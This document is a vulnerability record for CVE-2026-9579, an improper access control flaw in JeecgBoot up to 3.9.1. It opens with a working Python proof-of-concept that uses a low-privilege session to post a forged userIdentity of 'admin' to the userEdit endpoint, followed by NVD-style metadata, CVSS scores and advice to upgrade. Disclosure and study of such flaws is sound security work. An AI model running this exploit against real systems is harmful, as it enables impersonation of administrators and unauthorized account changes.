CVE-2026-9579

import requests # CVE-2026-9579 PoC: JeecgBoot Improper Access Control # Target: JeecgBoot <= 3.9.1 # The attacker's low-privilege session cookie attacker_cookie = { "SESSION": "Y2VudGVyLWFkbWluLXNlc3Npb24=" } # The vulnerable endpoint url = "http://target-host:8080/sys/user/login/setting/userEdit" # Malicious payload: manipulating userIdentity to impersonate another user (e.g., admin) payload = { "userIdentity": "admin", # The vulnerable parameter "username": "test", "realname": "test", "email": "[email protected]" } try: # Send the request with the low-privilege session response = requests.post(url, data=payload, cookies=attacker_cookie, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Response received.") print(response.text) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-9579", "sourceIdentifier": "[email protected]", "published": "2026-05-26T21:16:44.980", "lastModified": "2026-05-27T15:16:35.643", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in JeecgBoot up to 3.9.1. Impacted is the function user.getUsername of the file /sys/user/login/setting/userEdit of the component SysUser. The manipulation of the argument userIdentity results in improper access controls. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.9.2 is recommended to address this issue. The affected component should be upgraded."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/jeecgboot/JeecgBoot/", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9596", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9596#issuecomment-4385414813", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/releases/tag/v3.9.2", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/817891", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365635", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365635/cti", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9596", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}